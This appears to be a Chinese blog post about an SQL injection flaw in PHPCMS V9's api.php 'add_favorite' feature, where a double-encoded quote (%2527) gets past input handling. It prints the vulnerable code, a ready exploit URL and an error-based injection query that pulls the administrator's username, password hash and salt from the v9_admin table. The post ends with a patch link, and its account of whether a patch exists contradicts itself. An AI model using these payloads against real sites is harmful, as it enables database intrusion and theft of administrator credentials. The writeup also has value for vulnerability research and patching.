目前官方未对这个漏洞出补丁,找了个朋友的PHPCMS简单利用一下漏洞,出在文件api.php中,有一个功能是加入收藏,在传入的参数中,使用了urldecode来处理,导致使用%2527形成单引号绕过。官方已经紧急发布了补丁,这种做法还是很值得称赞的,响应非常迅速。这个漏洞的利用有很多种,而且爆出了密码也很难解开,因此这里提一下这个利用方法。
下面我们来看看漏洞是如何形成的:
$title = urldecode($title); ...... $data = array('title'=>$title, 'url'=>$url, 'adddate'=>SYS_TIME, 'userid'=>$userid); ...... $favorite_db->insert($data);
api.php需要注册用户才能访问,因此利用需要注册用户,并且登录,然后可以直接提交:
/api.php?op=add_favorite&url=J&title=%2527%2520and%2520%2528select
可以爆出数据前缀:
这里是V9,因此,我们构造一下语句先:
select count(*),concat((select (select (select concat(0x23,cast(concat(username,0x3a,password,0x3a,encrypt) as char),0x23) from v9_admin LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1'
这样就直接爆出了管理员的密码MD5
不过爆出也比较难利用,密码是加了盐的,代码如下:
/** * 对用户的密码进行加密 * @param $password * @param $encrypt //传入加密串,在修改密码时做认证 * @return array/password */ function password($password, $encrypt='') { $pwd = array(); $pwd['encrypt'] = $encrypt ? $encrypt : create_randomstr(); $pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']); return $encrypt ? $pwd['password'] : $pwd; }
补丁下载:
http://bbs.phpcms.cn/thread-697360-1-1.html
你可能喜欢
本文标题:PHPCMS V9最新注入漏洞,补丁已出
转载请注明来源,如果喜欢本站可以Feed订阅本站。
0 条评论。